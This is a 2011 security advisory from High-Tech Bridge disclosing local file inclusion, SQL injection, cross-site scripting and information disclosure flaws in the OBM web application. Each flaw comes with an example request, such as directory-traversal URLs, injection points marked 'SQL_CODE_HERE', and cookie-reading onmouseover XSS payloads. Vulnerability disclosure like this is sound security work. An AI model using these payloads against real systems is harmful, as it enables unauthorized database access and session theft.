Multiple vulnerabilities in OBM

2011-11-30T00:00:00
ID HTB23060
Type htbridge
Reporter High-Tech Bridge
Modified 2011-11-30T00:00:00

Description

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in OBM, which can be exploited to perform cross-site scripting, local file inclusion and SQL injection attacks and gain access to sensitive information.

1) Local File Inclusion in OBM
1.1 Input passed via the "module" GET parameter to /exportcsv/exportcsv_index.php is not properly verified before being used to include files. This can be exploited to include local files via directory traversal sequences.
Exploitation example:
http://[host]/exportcsv/exportcsv_index.php?action=export_page&module=../../ ../../tmp/file
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.

2) SQL Injection in OBM
2.1 Input passed via the "sel_domain_id" POST parameter to /obm.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
<form action="http://[host]/obm.php" method="post">
<input type="hidden" name="login" value="">
<input type="hidden" name="password" value="">
<input type="hidden" name="sel_domain_id" value="' SQL_CODE_HERE">
<input type="submit" value="submit" id="btn">
</form>
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is disabled.
2.2 Input passed via the "lang", "theme" GET parameters to /settings/settings_index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation examples:
http://[host]/settings/settings_index.php?lang=%27%20SQL_CODE_HERE
http://obm/settings/settings_index.php?theme=%27%20SQL_CODE_HERE
Successful exploitation of this vulnerability requires attacker to be registered and logged-in, as well as "magic_quotes_gpc" to be disabled.
2.3 Input passed via the "tf_user" GET parameter to /group/group_index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/group/group_index.php?action=search&popup=&sel_privacy=ALL&s ubmit=Find&tf_user=%27%20SQL_CODE_HERE
Successful exploitation of this vulnerability requires attacker to be registered and logged-in, as well as "magic_quotes_gpc" to be disabled.
2.4 Input passed via the "tf_delegation", "tf_ip", "tf_name" GET parameters to /host/host_index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation examples:
http://[host]/host/host_index.php?action=search&cb_backup_ftp=1&cb_imap=1&cb imap_frontend=1&cb_monitor=1&cb_obm_sync=1&cb_smtp_in=1&cb_smtp_out=1&cb_so lr=1&popup=&submit=Find&tf_delegation=%27%20SQL_CODE_HERE&tf_ip=&tf_name=
http://[host]/host/host_index.php?action=search&cb_backup_ftp=1&cb_imap=1&cb _imap_frontend=1&cb_monitor=1&cb_obm_sync=1&cb_smtp_in=1&cb_smtp_out=1&cb_so lr=1&popup=&submit=Find&tf_delegation=&tf_ip=%27%20SQL_CODE_HERE&tf_name=
http://[host]/host/host_index.php?action=search&cb_backup_ftp=1&cb_imap=1&cb _imap_frontend=1&cb_monitor=1&cb_obm_sync=1&cb_smtp_in=1&cb_smtp_out=1&cb_so lr=1&popup=&submit=Find&tf_delegation=&tf_ip=&tf_name=%27%20SQL_CODE_HERE
Successful exploitation of this vulnerabilities requires attacker to be registered and logged-in, as well as "magic_quotes_gpc" to be disabled.
2.5 Input passed via the "action" GET parameter to obm.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/obm.php?action=%27%20SQL_CODE_HERE
Successful exploitation of this vulnerability requires attacker to be registered and logged-in, as well as "magic_quotes_gpc" to be disabled.
2.6 Input passed via the "cal_alert", "cal_first_hour", "cal_interval", "cal_last_hour", "commentorder", "csv_sep", "date", "date_upd", "debug_exe", "debug_id", "debug_param", "debug_sess", "debug_solr", "debug_sql", "dsrc", "menu", "rows", "sel_display_days", "timeformat", "timezone", "todo" GET parameters to /settings/settings_index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/settings/settings_index.php?cal_alert=%27%20SQL_CODE_HERE&cal
first_hour=0&cal_interval=4&cal_last_hour=1&commentorder=0&csv_sep=%3b&date= Y-m-d&date_upd=Y-m-d&debug_exe=16&debug_id=1&debug_param=2&debug_sess=4&debu g_solr=32&debug_sql=8&display=yes&dsrc=0&form_user_pref=1&mail=yes&mail_part icipation=yes&menu=text&public_fb=yes&rows=10&sel_display_days=1111111&submi t=Validate&timeformat=12H&timezone=Africa%2fAbidjan&todo=todo_priority
Successful exploitation of this vulnerabilities requires attacker to be registered and logged-in, as well as "magic_quotes_gpc" to be disabled.

3) Cross-Site Scripting in OBM
3.1 Input passed via the "tf_delegation", "tf_ip", "tf_name" GET parameters to /host/host_index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/host/host_index.php?action=search&cb_backup_ftp=1&cb_imap=1&cb imap_frontend=1&cb_monitor=1&cb_obm_sync=1&cb_smtp_in=1&cb_smtp_out=1&cb_so lr=1&popup=&submit=Find&tf_delegation=%22%20onmouseover=alert%28document.coo kie%29;%22&tf_ip=&tf_name=
http://[host]/host/host_index.php?action=search&cb_backup_ftp=1&cb_imap=1&cb _imap_frontend=1&cb_monitor=1&cb_obm_sync=1&cb_smtp_in=1&cb_smtp_out=1&cb_so lr=1&popup=&submit=Find&tf_delegation=&tf_ip=%22%20onmouseover=alert%28docum ent.cookie%29;%22&tf_name=
http://[host]/host/host_index.php?action=search&cb_backup_ftp=1&cb_imap=1&cb _imap_frontend=1&cb_monitor=1&cb_obm_sync=1&cb_smtp_in=1&cb_smtp_out=1&cb_so lr=1&popup=&submit=Find&tf_delegation=&tf_ip=&tf_name=%22%20onmouseover=aler t%28document.cookie%29;%22
3.2 Input passed via the "login" POST parameter to /obm.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
<form action="http://[host]/obm.php" method="post">
<input type="hidden" name="login" value='" onmouseover=alert(document.cookie) "'>
<input type="hidden" name="password" value="">
<input type="hidden" name="sel_domain_id" value="">
<input type="submit" value="submit" id="btn">
</form>
3.3 Input passed via the "tf_user" GET parameter to /group/group_index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/group/group_index.php?action=search&popup=&sel_privacy=_ALL
&s ubmit=Find&tf_user=%22%20onmouseover=alert%28document.cookie%29;%22

4) Information Disclosure in OBM
The "test.php" script is stored with insecure permissions inside of the web root. This can be exploited to get potentially sensitive information (e.g. PHP configuration details) by calling the file directly.
Exploitation example:
http://[host]/test.php